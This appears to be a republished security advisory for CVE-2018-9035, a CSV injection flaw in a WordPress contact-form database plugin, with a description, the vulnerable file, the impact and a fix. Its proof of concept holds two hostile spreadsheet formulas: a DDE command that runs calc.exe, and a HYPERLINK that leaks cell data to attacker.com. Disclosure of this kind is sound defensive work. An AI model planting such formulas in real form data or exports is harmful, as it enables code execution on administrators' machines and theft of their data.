Wordpress Plugin Contact Form 7 to Database Extension 2.10.32 CSV Injection

Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection # Date: 23-03-2018 # Exploit Author : Stefan Broeder # Contact : https://twitter.com/stefanbroeder # Vendor Homepage: None # Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension # Version: 2.10.32 # CVE : CVE-2018-9035 # Category : webapps Description =========== Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability. Vulnerable part of code ======================= File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula. Impact ====== Arbitrary formulas can be injected into CSV/Excel files. This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks. Proof of Concept ============ In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated. Example: =cmd|'/C calc.exe'!Z0 or =HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!") Solution ======== The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com


Back to Top